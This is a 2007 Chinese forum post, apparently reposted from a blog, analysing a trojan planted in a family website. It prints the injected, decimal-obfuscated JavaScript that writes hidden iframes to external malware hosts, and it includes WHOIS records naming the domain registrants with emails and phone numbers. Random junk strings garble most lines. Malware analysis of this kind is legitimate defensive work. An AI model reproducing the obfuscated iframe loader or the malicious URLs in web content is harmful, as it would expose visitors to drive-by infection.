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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, rSD!u0c [  
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http://www.areway.cn/?p=175 g]V}azLr  
1@Bq-2OD4  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: W&]grG2/  
          Z3G>DF:$  
<script>t=’60,105,102,114,97,109,101, PiZt?r?5w|  
32,115,114,99,61,104,116,116,112,58,47,47, hgE!) UE  
102,114,101,101,46,117,45,117,117,117,46,99, 1WPDMLuN  
110,47,101,114,114,111,114,46,104,116,109, :XMw="u=  
32,119,105,100,116,104,61,49,48,48,32,104, <v"C`cga  
101,105,103,104,116,61,48,62,60,47,105,102, Wx&AY"J  
114,97,109,101,62′; p1HU2APFP  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> j$#pG  
                                                                                                  zVs_|x="  
<script>t=’60,105,102,114,97,109,101,32,115, k3[ ~I'  
114,99,61,104,116,116,112,58,47,47,102,114, QJo)  
101,101,46,117,45,117,117,117,46,99,110,47, Xu$xO(  
101,114,114,111,114,46,104,116,109,32,119, -pj&|< h+9  
105,100,116,104,61,49,48,48,32,104,101,105, ke~O+]  
103,104,116,61,48,62,60,47,105,102,114,97, _y)#N<  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); J[ UL f7:  
document.write(t);</script> +7o3TA]-  
                                                                                                  w?.0r6j  
<html xmlns=” 8^zI  
http://www.w3.org/1999/xhtml +|Q8P?YD_  
“> /40Z-'Bl=(  
<head> W;,.OoDc>  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> pN&Dpz^  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> g!7/iKj:  
<title>首页 - 爱生活家庭网 DT(A~U<y  
                                                                                                                                                    BpCzmU  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 PDX^MYoN  
转换字符串后的大概内容是(谁点击后果自付): O!sZMGF$p  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… ]?^m;~MQZ  
                                                                                                                                  N40.GL0s  
查询玉米u-uuu.cn的详细信息: q:-8W[_  
Domain Name: u-uuu.cn $qy%Q]  
ROID: 20070901s10001s64972306-cn !1dCk/D&)8  
Domain Status: ok '@HWp8+  
Registrant Organization: 王雷 d>  Y9g  
Registrant Name: 王雷 au5 74tj  
Administrative Email: czlovexs@126.com :n>m">4  
Sponsoring Registrar: 北京万网志成科技有限公司 >i]r,j8!  
Name Server:ns.yovole.com !:`QX\Ux  
Name Server:ns1.yovole.com B{QY-F~  
Registration Date: 2007-09-01 17:54 E/LR(d_  
Expiration Date: 2008-09-01 17:54 1bd(JL  
最后PING了一下地址 都没有什么…. ro6peUL*2`  
                                                                                                uKh),@JV  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. ]BCH9%zLj  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> gOO\` #  
<script language=”javascript” src=” .0#?u1gXsX  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script B4GgR,P@S  
> ~tDV{ml  
这个玉米应该有可能是木马作者的: TeG5|`t],  
foafau.info的详细信息: 6{}]QvR  
Access to INFO WHOIS information is provided to assist persons in I2%{6g@  
determining the contents of a domain name registration record in the .BlGV2@^#  
Afilias registry database. The data in this record is provided by zF(I#|Vo  
Afilias Limited for informational purposes only, and Afilias does not s9qr;}U.`  
guarantee its accuracy.  This service is intended only for query-based j; 1X-  
access. You agree that you will use this data only for lawful purposes kwZ 8q-0  
and that, under no circumstances will you use this data to: (a) allow, |>GtClL  
enable, or otherwise support the transmission by e-mail, telephone, or '(kGc%  
facsimile of mass unsolicited, commercial advertising or solicitations >va#PFHA  
to entities other than the data recipient’s own existing customers; or lW?}jzuo  
(b) enable high volume, automated, electronic processes that send &iL"=\#  
queries or data to the systems of Registry Operator, a Registrar, or 3yDa5q{  
Afilias except as reasonably necessary to register domain names or [1dlV/  
modify existing registrations. All rights reserved. Afilias reserves RMmDcvM"k  
the right to modify these terms at any time. By submitting this query, # o)a`,f  
you agree to abide by this policy. [Pby  d  
Domain ID:D22418703-LRMS pb}QP  
Domain Name:FOAFAU.INFO e!ar:>T  
Created On:20-Nov-2007 16:05:42 UTC vz,l{0 v  
Last Updated On:20-Nov-2007 16:05:44 UTC .'p_j(uv  
Expiration Date:20-Nov-2008 16:05:42 UTC +l2{EiQw  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) 1>4'YMdZi  
Status:CLIENT DELETE PROHIBITED S!2M?}LU  
Status:CLIENT RENEW PROHIBITED *xM4nUu<~  
Status:CLIENT TRANSFER PROHIBITED yu<sd}@  
Status:CLIENT UPDATE PROHIBITED %ztCcgu*  
Status:TRANSFER PROHIBITED tH2y:o 72  
Registrant ID:GODA-040110615 e[yk'E  
Registrant Name:liu hong L=VJl[DL  
Registrant Organization: M2[;b+W9  
Registrant Street1:beijing {*`qL0u]^  
Registrant Street2: 3uz@JY"mK  
Registrant Street3: !V$m!i;  
Registrant City:beijing PE|_V  
Registrant State/Province: d>)*!l2,C  
Registrant Postal Code:100000 9EK5#_L[=  
Registrant Country:CN F.?^ko9d  
Registrant Phone:+86.860108888777 5pI2G  
Registrant Phone Ext.: i(2s"Uww,  
Registrant FAX: W7S`+Pq  
Registrant FAX Ext.: 7P?z{x':T  
Registrant Email:bbbshiji@163.com 0tC+?  
Admin ID:GODA-240110615 w=s:e M@  
Admin Name:liu hong 7*M+bZ`x  
Admin Organization: ckBcwIXlP&  
Admin Street1:beijing My76]\Psh  
Admin Street2: n87B[R  
Admin Street3: `Ou\:Iz0u  
Admin City:beijing M8ZpNa  
Admin State/Province: \e T0d<  
Admin Postal Code:100000 U{} bx  
Admin Country:CN 9h<];  
Admin Phone:+86.860108888777 C!]hu)E  
Admin Phone Ext.: 35?et-=w  
Admin FAX: s|dcO  
Admin FAX Ext.: 0[7\p\Q  
Admin Email:bbbshiji@163.com ,Za!  
Billing ID:GODA-340110615 ^0R.'XL  
Billing Name:liu hong tz)aQ6p\X  
Billing Organization: 9sFZs]uM  
Billing Street1:beijing Z[R E|l{  
Billing Street2: p2GkI/6)uu  
Billing Street3: 6FiI\  
Billing City:beijing y>3Zh5=  
Billing State/Province: SHOg,#mV  
Billing Postal Code:100000 0+}42g|_Z  
Billing Country:CN |yx]TD{~P  
Billing Phone:+86.860108888777  btJ:Wt}  
Billing Phone Ext.: *R m>bLI  
Billing FAX: (y[+s?;WyB  
Billing FAX Ext.: y$Sn3_9 V  
Billing Email:bbbshiji@163.com casva;  
Tech ID:GODA-140110615 WolkW:(Cg  
Tech Name:liu hong  SS[jk  
Tech Organization: o|*ao2a  
Tech Street1:beijing  5f(yF  
Tech Street2: /X~l%Xm  
Tech Street3: __fa,kK{?  
Tech City:beijing zt/b S/  
Tech State/Province: 0/S|h"-L  
Tech Postal Code:100000 5 >S #ew  
Tech Country:CN pwtB{6)VH{  
Tech Phone:+86.860108888777 @e8b'w3  
Tech Phone Ext.: RZ-=UIf  
Tech FAX: y[:\kI  
Tech FAX Ext.: ON.C%-T-  
Tech Email:bbbshiji@163.com `w` f[dU-  
Name Server:NS27.DOMAINCONTROL.COM fb3(9  
Name Server:NS28.DOMAINCONTROL.COM HT0VdvLw  
Name Server: D1rXTI$$  
Name Server: 8/F}vfKEN  
Name Server: 1O]'iS"  
Name Server: _y*@Hj  
Name Server: M!Q27wT8 O  
Name Server: ebK/cPa8  
Name Server: -c|dTZ8D)8  
Name Server: d7waBsf  
Name Server: KX D&FDkF  
Name Server: G_vWwH4XtL  
Name Server: Q#w mS&$f  
                                                                                                          GOrDDp  
接着下载每个文件里面的代码: U l8G R  
一步一步看.. @{N2I$%6  
zGzeu)d  
o81RD#>E)  
< %@e<,8  
cCx@VT`0  
$/*1 9 e~  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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